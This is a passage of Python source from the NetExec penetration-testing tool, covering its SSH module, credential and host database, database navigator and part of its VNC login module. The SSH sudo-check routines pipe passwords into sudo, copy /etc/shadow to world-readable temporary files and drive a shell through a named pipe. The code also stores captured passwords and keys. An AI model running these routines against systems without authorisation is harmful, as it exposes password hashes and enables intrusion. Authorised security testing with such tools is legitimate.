and is root!") if self.args.key_file: self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) else: self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) return # Check Windows stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") if stdout: self.server_os_platform = "Windows" self.logger.debug("Windows detected") self.shell_access = True self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) self.check_windows_priv(stdout) if self.admin_privs: self.logger.debug(f"User {self.username} logged in successfully and is admin!") if self.args.key_file: self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) else: self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) return # No shell access self.shell_access = False self.logger.debug(f"User: {self.username} can't get a basic shell") self.server_os_platform = "Network Devices" self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) def check_windows_priv(self, stdout): if "SeDebugPrivilege" in stdout: self.admin_privs = True elif "SeUndockPrivilege" in stdout: self.admin_privs = True self.uac = "with UAC - " def check_linux_priv(self): if self.args.sudo_check: self.check_linux_priv_sudo() return # we could add in another method to check by piping in the password to sudo # but that might be too much of an opsec concern - maybe add in a flag to do more checks? self.logger.info("Determined user is root via `id; sudo -ln` command") _, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1") stdout = stdout.read().decode(self.args.codec, errors="ignore") admin_flag = { "(root)": [True, None], "NOPASSWD: ALL": [True, None], "(ALL : ALL) ALL": [True, None], "(sudo)": [False, f"Current user: '{self.username}' was in 'sudo' group, please try '--sudo-check' to check if user can run sudo shell"] } for keyword in admin_flag: match = re.findall(re.escape(keyword), stdout) if match: self.logger.info(f"User: '{self.username}' matched keyword: {match[0]}") self.admin_privs = admin_flag[match[0]][0] if not self.admin_privs: tips = admin_flag[match[0]][1] else: break if not self.admin_privs and "tips" in locals(): self.logger.display(tips) return def check_linux_priv_sudo(self): if not self.password: self.logger.error("Check admin with sudo does not support using a private key") return if self.args.sudo_check_method: method = self.args.sudo_check_method self.logger.info(f"Doing sudo check with method: {method}") if method == "sudo-stdin": _, stdout, _ = self.conn.exec_command("sudo --help") stdout = stdout.read().decode(self.args.codec, errors="ignore") # Read sudo help docs and find "stdin" if "stdin" in stdout: shadow_backup = f"/tmp/{uuid.uuid4()}" # sudo support stdin password self.conn.exec_command(f"echo {self.password} | sudo -S cp /etc/shadow {shadow_backup} >/dev/null 2>&1 &") self.conn.exec_command(f"echo {self.password} | sudo -S chmod 777 {shadow_backup} >/dev/null 2>&1 &") tries = 1 while True: self.logger.info(f"Checking {shadow_backup} if it existed") _, _, stderr = self.conn.exec_command(f"ls {shadow_backup}") if tries >= self.args.get_output_tries: self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") break if stderr.read().decode("utf-8"): time.sleep(2) tries += 1 else: self.logger.info(f"{shadow_backup} existed") self.admin_privs = True break self.logger.info(f"Remove up temporary files {shadow_backup}") self.conn.exec_command(f"echo {self.password} | sudo -S rm -rf {shadow_backup}") else: self.logger.error("Command: 'sudo' not support stdin mode, running command with 'sudo' failed") return else: _, stdout, _ = self.conn.exec_command("mkfifo --help") stdout = stdout.read().decode(self.args.codec, errors="ignore") # check if user can execute mkfifo if "Create named pipes" in stdout: self.logger.info("Command: 'mkfifo' available") pipe_stdin = f"/tmp/systemd-{uuid.uuid4()}" pipe_stdout = f"/tmp/systemd-{uuid.uuid4()}" shadow_backup = f"/tmp/{uuid.uuid4()}" self.conn.exec_command(f"mkfifo {pipe_stdin}; tail -f {pipe_stdin} | /bin/sh 2>&1 > {pipe_stdout} >/dev/null 2>&1 &") # 'script -qc /bin/sh /dev/null' means "upgrade" the shell, like reverse shell from netcat self.conn.exec_command(f"echo 'script -qc /bin/sh /dev/null' > {pipe_stdin}") self.conn.exec_command(f"echo 'sudo -s' > {pipe_stdin} && echo '{self.password}' > {pipe_stdin}") # Sometime the pipe will hanging(only happen with paramiko) # Can't get "whoami" or "id" result in pipe_stdout, maybe something wrong using pipe with paramiko # But one thing I can confirm, is the command was executed even can't get result from pipe_stdout tries = 1 self.logger.info(f"Copy /etc/shadow to {shadow_backup} if pass the sudo auth") while True: self.logger.info(f"Checking {shadow_backup} if it existed") _, _, stderr = self.conn.exec_command(f"ls {shadow_backup}") if tries >= self.args.get_output_tries: self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user") break if stderr.read().decode("utf-8"): time.sleep(2) self.conn.exec_command(f"echo 'cp /etc/shadow {shadow_backup} && chmod 777 {shadow_backup}' > {pipe_stdin}") tries += 1 else: self.logger.info(f"{shadow_backup} existed") self.admin_privs = True break self.logger.info(f"Remove up temporary files {shadow_backup} {pipe_stdin} {pipe_stdout}") self.conn.exec_command(f"echo 'rm -rf {shadow_backup}' > {pipe_stdin} && rm -rf {pipe_stdin} {pipe_stdout}") else: self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") return def put_file_single(self, sftp_conn, src, dst): self.logger.display(f'Copying "{src}" to "{dst}"') try: sftp_conn.put(src, dst) self.logger.success(f'Created file "{src}" on "{dst}"') except Exception as e: self.logger.fail(f'Error writing file to "{dst}": {e}') def put_file(self): sftp_conn = self.conn.open_sftp() for src, dest in self.args.put_file: self.put_file_single(sftp_conn, src, dest) sftp_conn.close() def get_file_single(self, sftp_conn, remote_path, download_path): self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: sftp_conn.get(remote_path, download_path) self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error getting file "{remote_path}": {e}') if os.path.getsize(download_path) == 0: os.remove(download_path) def get_file(self): sftp_conn = self.conn.open_sftp() for src, dest in self.args.get_file: self.get_file_single(sftp_conn, src, dest) sftp_conn.close() def execute(self, payload=None, get_output=False): if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True try: _, stdout, _ = self.conn.exec_command(f"{payload} 2>&1") stdout = stdout.read().decode(self.args.codec, errors="ignore") except Exception as e: self.logger.fail(f"Execute command failed, error: {e!s}") return False else: self.logger.success("Executed command") if get_output: for line in stdout.replace("\r\n", "\n").rstrip("\n").split("\n"): self.logger.highlight(line.strip("\n")) return stdout NetExec-1.5.1/nxc/protocols/ssh/000077500000000000000000000000001514706431700164725ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ssh/__init__.py000066400000000000000000000000001514706431700205710ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/ssh/database.py000066400000000000000000000414211514706431700206120ustar00rootroot00000000000000import configparser from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger from nxc.paths import CONFIG_PATH # we can't import config.py due to a circular dependency, so we have to create redundant code unfortunately nxc_config = configparser.ConfigParser() nxc_config.read(CONFIG_PATH) nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default") Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.CredentialsTable = None self.HostsTable = None self.LoggedinRelationsTable = None self.AdminRelationsTable = None self.KeysTable = None super().__init__(db_engine) class Credential(Base): __tablename__ = "credentials" id = Column(Integer) username = Column(String) password = Column(String) credtype = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) host = Column(String) port = Column(Integer) banner = Column(String) os = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class LoggedInRelation(Base): __tablename__ = "loggedin_relations" id = Column(Integer) credid = Column(Integer) hostid = Column(Integer) shell = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["credid"], ["credentials.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) # "admin" access with SSH means we have root access, which implies shell access since we run commands to check class AdminRelation(Base): __tablename__ = "admin_relations" id = Column(Integer) credid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["credid"], ["credentials.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class Key(Base): __tablename__ = "keys" id = Column(Integer) credid = Column(Integer) data = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["credid"], ["credentials.id"]), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.CredentialsTable = self.reflect_table(self.Credential) self.HostsTable = self.reflect_table(self.Host) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.KeysTable = self.reflect_table(self.Key) def add_host(self, host, port, banner, os=None): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] q = select(self.HostsTable).filter(self.HostsTable.c.host == host) results = self.db_execute(q).all() nxc_logger.debug(f"add_host(): Initial hosts results: {results}") # create new host if not results: new_host = { "host": host, "port": port, "banner": banner if banner is not None else "", "os": os if os is not None else "", } hosts = [new_host] # update existing hosts data else: for host_result in results: host_data = host_result._asdict() nxc_logger.debug(f"host: {host_result}") nxc_logger.debug(f"host_data: {host_data}") # only update column if it is being passed in if host is not None: host_data["host"] = host if port is not None: host_data["port"] = port if banner is not None: host_data["banner"] = banner if os is not None: host_data["os"] = os # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) updated_ids.append(host_data["id"]) nxc_logger.debug(f"Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids def add_credential(self, credtype, username, password, key=None): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] # a user can have multiple keys, all with passphrases, and a separate login password if key is not None: q = ( select(self.CredentialsTable) .join(self.KeysTable) .filter( func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), self.KeysTable.c.data == key, ) ) results = self.db_execute(q).all() else: q = select(self.CredentialsTable).filter( func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), ) results = self.db_execute(q).all() # add new credential if not results: new_cred = { "credtype": credtype, "username": username, "password": password, } credentials = [new_cred] # update existing cred data else: for creds in results: # this will include the id, so we don't touch it cred_data = creds._asdict() # only update column if it is being passed in if credtype is not None: cred_data["credtype"] = credtype if username is not None: cred_data["username"] = username if password is not None: cred_data["password"] = password # only add cred to be updated if it has changed if cred_data not in credentials: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id) update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users) nxc_logger.debug(f"Adding credentials: {credentials}") self.db_execute(q_users, credentials) # .scalar() # hacky way to get cred_id since we can't use returning() yet if len(credentials) == 1: cred_id = self.get_credential(credtype, username, password) if key is not None: self.add_key(cred_id, key) return cred_id else: return credentials def remove_credentials(self, creds_id): """Removes a credential ID from the database""" del_hosts = [] for cred_id in creds_id: q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) del_hosts.append(q) self.db_execute(q) def add_key(self, cred_id, key): # check if key relation already exists check_q = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all() nxc_logger.debug(f"check_q: {check_q}") if check_q: nxc_logger.debug(f"Key already exists for cred_id {cred_id}") return None key_data = {"credid": cred_id, "data": key} self.db_execute(Insert(self.KeysTable), key_data) key_id = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id nxc_logger.debug(f"Key added: {key_id}") return key_id def get_keys(self, key_id=None, cred_id=None): q = select(self.KeysTable) if key_id is not None: q = q.filter(self.KeysTable.c.id == key_id) elif cred_id is not None: q = q.filter(self.KeysTable.c.credid == cred_id) return self.db_execute(q).all() def add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None): add_links = [] creds_q = select(self.CredentialsTable) if cred_id: # noqa: SIM108 creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id) else: creds_q = creds_q.filter( func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), func.lower(self.CredentialsTable.c.username) == func.lower(username), self.CredentialsTable.c.password == secret, ) creds = self.db_execute(creds_q) hosts = self.get_hosts(host_id) if creds and hosts: for cred, host in zip(creds, hosts, strict=True): cred_id = cred[0] host_id = host[0] link = {"credid": cred_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.credid == cred_id, self.AdminRelationsTable.c.hostid == host_id, ) links = self.db_execute(admin_relations_select).all() if not links: add_links.append(link) admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: self.db_execute(admin_relations_insert, add_links) def get_admin_relations(self, cred_id=None, host_id=None): if cred_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.credid == cred_id) elif host_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) return self.db_execute(q).all() def remove_admin_relation(self, cred_ids=None, host_ids=None): q = delete(self.AdminRelationsTable) if cred_ids: for cred_id in cred_ids: q = q.filter(self.AdminRelationsTable.c.credid == cred_id) elif host_ids: for host_id in host_ids: q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.CredentialsTable).filter( self.CredentialsTable.c.id == credential_id, self.CredentialsTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credentials(self, filter_term=None, cred_type=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term) elif cred_type: q = select(self.CredentialsTable).filter(self.CredentialsTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.CredentialsTable) return self.db_execute(q).all() def get_credential(self, cred_type, username, password): q = select(self.CredentialsTable).filter( self.CredentialsTable.c.username == username, self.CredentialsTable.c.password == password, self.CredentialsTable.c.credtype == cred_type, ) results = self.db_execute(q).first() if results is not None: return results.id def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 def get_hosts(self, filter_term=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by host elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"SSH get_hosts() - results: {results}") return results def is_user_valid(self, cred_id): """Check if this User ID is valid.""" q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) results = self.db_execute(q).all() return len(results) > 0 def get_users(self, filter_term=None): q = select(self.CredentialsTable) if self.is_user_valid(filter_term): q = q.filter(self.CredentialsTable.c.id == filter_term) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term)) return self.db_execute(q).all() def get_user(self, domain, username): q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username)) return self.db_execute(q).all() def add_loggedin_relation(self, cred_id, host_id, shell=False): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.credid == cred_id, self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.db_execute(relation_query).all() # only add one if one doesn't already exist if not results: relation = {"credid": cred_id, "hostid": host_id, "shell": shell} try: nxc_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.db_execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(cred_id, host_id) nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: nxc_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if cred_id: q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) if host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) if shell: q = q.filter(self.LoggedinRelationsTable.c.shell == shell) return self.db_execute(q).all() def remove_loggedin_relations(self, cred_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if cred_id: q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) NetExec-1.5.1/nxc/protocols/ssh/db_navigator.py000066400000000000000000000271431514706431700215120ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): data = [ [ "CredID", "Admin On", "Total Logins", "Total Shells", "Username", "Password", "CredType", ] ] for cred in creds: cred_id = cred[0] username = cred[1] password = cred[2] credtype = cred[3] admin_links = self.db.get_admin_relations(cred_id=cred_id) total_users = self.db.get_loggedin_relations(cred_id=cred_id) total_shell = total_users = self.db.get_loggedin_relations(cred_id=cred_id, shell=True) data.append( [ cred_id, str(len(admin_links)) + " Host(s)", str(len(total_users)) + " Host(s)", str(len(total_shell)) + " Shells(s)", username, password, credtype, ] ) print_table(data, title="Credentials") # pull/545 def display_hosts(self, hosts): data = [["HostID", "Admins", "Total Users", "Host", "Port", "Banner", "OS"]] for h in hosts: host_id = h[0] host = h[1] port = h[2] banner = h[3] os = h[4] admin_users = self.db.get_admin_relations(host_id=host_id) total_users = self.db.get_loggedin_relations(host_id=host_id) data.append( [ host_id, str(len(admin_users)) + " Cred(s)", str(len(total_users)) + " User(s)", host, port, banner, os, ] ) print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [["HostID", "Host", "Port", "Banner", "OS"]] host_id_list = [] for h in hosts: host_id = h[0] host_id_list.append(host_id) host = h[1] port = h[2] banner = h[3] os = h[4] data.append([host_id, host, port, banner, os]) print_table(data, title="Host") admin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] nonadmin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] for host_id in host_id_list: admin_links = self.db.get_admin_relations(host_id=host_id) nonadmin_links = self.db.get_loggedin_relations(host_id=host_id) for link in admin_links: link_id, cred_id, host_id = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: cred_id = cred[0] username = cred[1] password = cred[2] credtype = cred[3] shell = True admin_access_data.append([cred_id, credtype, username, password, shell]) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now for link in nonadmin_links: link_id, cred_id, host_id, shell = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: cred_id = cred[0] username = cred[1] password = cred[2] credtype = cred[3] shell = shell cred_data = [cred_id, credtype, username, password, shell] if cred_data not in admin_access_data: nonadmin_access_data.append(cred_data) if len(nonadmin_access_data) > 1: print_table( nonadmin_access_data, title="Credential(s) with Non Admin Access", ) if len(admin_access_data) > 1: print_table(admin_access_data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ hosts [filter_term] By default prints all hosts Table format: | 'HostID', 'Host', 'Port', 'Banner', 'OS' | """ print_help(help_string) def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) # TODO # # add format: "domain username password # # if len(args) == 3: # if validate_ntlm(password): elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) self.db.remove_admin_relation(user_ids=args) elif filter_term.split()[0].lower() == "plaintext": creds = self.db.get_credentials(cred_type="plaintext") self.display_creds(creds) elif filter_term.split()[0].lower() == "key": creds = self.db.get_credentials(cred_type="key") self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) if len(creds) != 1: self.display_creds(creds) elif len(creds) == 1: cred_data = [["CredID", "UserName", "Password", "CredType"]] cred_id_list = [] for cred in creds: cred_id = cred[0] cred_id_list.append(cred_id) username = cred[1] password = cred[2] credtype = cred[3] cred_data.append([cred_id, username, password, credtype]) print_table(cred_data, title="Credential(s)") admin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] nonadmin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] for cred_id in cred_id_list: admin_links = self.db.get_admin_relations(cred_id=cred_id) nonadmin_links = self.db.get_loggedin_relations(cred_id=cred_id) for link in admin_links: link_id, cred_id, host_id = link hosts = self.db.get_hosts(host_id) for h in hosts: host_id = h[0] host = h[1] port = h[2] banner = h[3] os = h[4] shell = True # if we have root via SSH, we know it's a shell admin_access_data.append([host_id, host, port, banner, os, shell]) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now for link in nonadmin_links: link_id, cred_id, host_id, shell = link hosts = self.db.get_hosts(host_id) for h in hosts: host_id = h[0] host = h[1] port = h[2] banner = h[3] os = h[4] host_data = [host_id, host, port, banner, os, shell] if host_data not in admin_access_data: nonadmin_access_data.append(host_data) # we look if it's greater than one because the header row always exists if len(nonadmin_access_data) > 1: print_table(nonadmin_access_data, title="Non-Admin Access to Host(s)") if len(admin_access_data) > 1: print_table(admin_access_data, title="Admin Access to Host(s)") def help_creds(self): help_string = """ creds [add|remove|plaintext|key|filter_term] By default prints all creds Table format: | 'CredID', 'Admin On', 'CredType', 'UserName', 'Password', 'Key' (if key type) | Subcommands: add - format: "add username password " remove - format: "remove " plaintext - prints plaintext creds key - prints ssh key creds filter_term - filters creds with filter_term If a single credential is returned (e.g. `creds 15`, it prints the following tables: Credential(s) | 'CredID', 'CredType', 'UserName', 'Password', 'Key' | Admin Access to Host(s) | 'HostID', 'Host', 'OS', 'Banner' Otherwise, it prints the default credential table from a `like` query on the `username` column """ print_help(help_string) def display_keys(self, keys): data = [[key[0], key[1], key[2]] for key in keys] data.insert(0, ["Key ID", "Cred ID", "Key Data"]) print_table(data, "Keys") def do_keys(self, line): filter_term = line.strip() if filter_term == "": keys = self.db.get_keys() self.display_keys(keys) elif filter_term == "cred_id": cred_id = filter_term.split()[1] keys = self.db.get_keys(cred_id=cred_id) self.display_keys(keys) else: key_id = filter_term keys = self.db.get_keys(key_id=key_id) self.display_keys(keys) def help_keys(self): help_string = """ list SSH keys keys [id] """ print_help(help_string) def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) @staticmethod def complete_hosts(self, text, line): """Tab-complete 'hosts' commands.""" commands = ["add", "remove"] mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] def complete_creds(self, text, line): """Tab-complete 'creds' commands.""" commands = ["add", "remove", "key", "plaintext"] mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] NetExec-1.5.1/nxc/protocols/ssh/proto_args.py000066400000000000000000000042361514706431700212300ustar00rootroot00000000000000from argparse import _StoreAction from nxc.helpers.args import DisplayDefaultsNotNone, get_conditional_action def proto_args(parser, parents): ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=parents, formatter_class=DisplayDefaultsNotNone) ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.") ssh_parser.add_argument("--port", type=int, default=22, help="SSH port") ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout", type=int, default=15) sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo") sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check (mkfifo is non-stable, probably you need to execute once again if it failed)'") ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results") sudo_check_method_arg.make_required.append(sudo_check_arg) files_group = ssh_parser.add_argument_group("File Operations") files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt /tmp/whoami.txt") files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: /tmp/whoami.txt whoami.txt") cgroup = ssh_parser.add_argument_group("Command Execution") cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") return parser NetExec-1.5.1/nxc/protocols/vnc.py000066400000000000000000000137211514706431700170410ustar00rootroot00000000000000import asyncio import os from datetime import datetime from termcolor import colored import socket import struct from nxc.config import host_info_colors from nxc.connection import connection from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter from nxc.paths import NXC_PATH from aardwolf.commons.target import RDPTarget from aardwolf.vncconnection import VNCConnection from aardwolf.commons.iosettings import RDPIOSettings from aardwolf.commons.queuedata.constants import VIDEO_FORMAT from asyauth.common.credentials import UniCredential from asyauth.common.constants import asyauthSecret, asyauthProtocol import contextlib class vnc(connection): def __init__(self, args, db, host): self.iosettings = RDPIOSettings() self.iosettings.channels = [] self.iosettings.video_out_format = VIDEO_FORMAT.RAW self.iosettings.clipboard_use_pyperclip = False self.url = None self.target = None self.credential = None self.RFBversion = None self.noauth = False # True when security type is 1 self.stype = None connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "VNC", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def print_host_info(self): noauth = colored(f" (No Auth:{self.noauth})", host_info_colors[2], attrs=["bold"]) if self.noauth else "" self.logger.display(f"RFB {self.RFBversion}{noauth}") def probe_rfb(self): # Attempt an RFB handshake with contextlib.suppress(Exception), socket.create_connection((self.host, self.port), timeout=1.0) as s: # Read the server banner (usually "RFB 003.003\n" or similar) banner = s.recv(12) if not banner.startswith(b"RFB"): return None self.logger.debug(f"RFB probe: server banner={banner}") self.RFBversion = float(f"{int(banner[4:7])}.{int(banner[8:11])}") s.sendall(banner) if self.RFBversion <= 3.6: # Expect a 4-byte uint32 security type raw_stype = s.recv(4) if len(raw_stype) != 4: return None stypes = struct.unpack("!I", raw_stype)[0] self.logger.debug(f"Security types: {stypes}") return [stypes] # 3.7/8 return a list of supported security types else: nbytes = s.recv(1) # Number of security types if not nbytes: return None n = nbytes[0] if n == 0: # Server reports failure; read reason ln = struct.unpack("!I", s.recv(4))[0] reason = s.recv(ln) self.logger.debug(f"RFB failure: {reason}") return None # Read n one-byte security type IDs (e.g. 1=None, 2=VNCAuth) stypes = list(s.recv(n)) self.logger.debug(f"Security types: {stypes}") return stypes def enum_host_info(self): self.stype = self.probe_rfb() if self.stype is None: self.logger.debug("RFB probe: no response or malformed response. The server likely closed the connection or sent a non-standard handshake.") else: self.logger.info(f"RFB probe: server returned security-type={self.stype}") if (1 in self.stype): self.noauth = True def create_conn_obj(self): try: self.target = RDPTarget(ip=self.host, port=self.port) credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS) self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) except Exception as e: self.logger.debug(str(e)) if "Connect call failed" in str(e): return False return True async def connect_vnc(self, discover=False): _, err = await self.conn.connect() if err is not None: if not discover: await asyncio.sleep(self.args.vnc_sleep) raise err return True def plaintext_login(self, username, password): try: stype = asyauthSecret.PASS if password == "": stype = asyauthSecret.NONE self.credential = UniCredential(secret=password, protocol=asyauthProtocol.PLAIN, stype=stype) self.conn = VNCConnection( target=self.target, credentials=self.credential, iosettings=self.iosettings, ) asyncio.run(self.connect_vnc()) self.admin_privs = True self.logger.success( "{} {}".format( password, highlight(f"({self.config.get('nxc', 'pwn3d_label')})" if self.admin_privs else ""), ) ) return True except Exception as e: self.logger.debug(str(e)) self.logger.fail(f"{password} - Authentication failed") return False async def screen(self): self.conn = VNCConnection(target=self.target, credentials=self.credential, iosettings=self.iosettings) await self.connect_vnc() await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) filename = 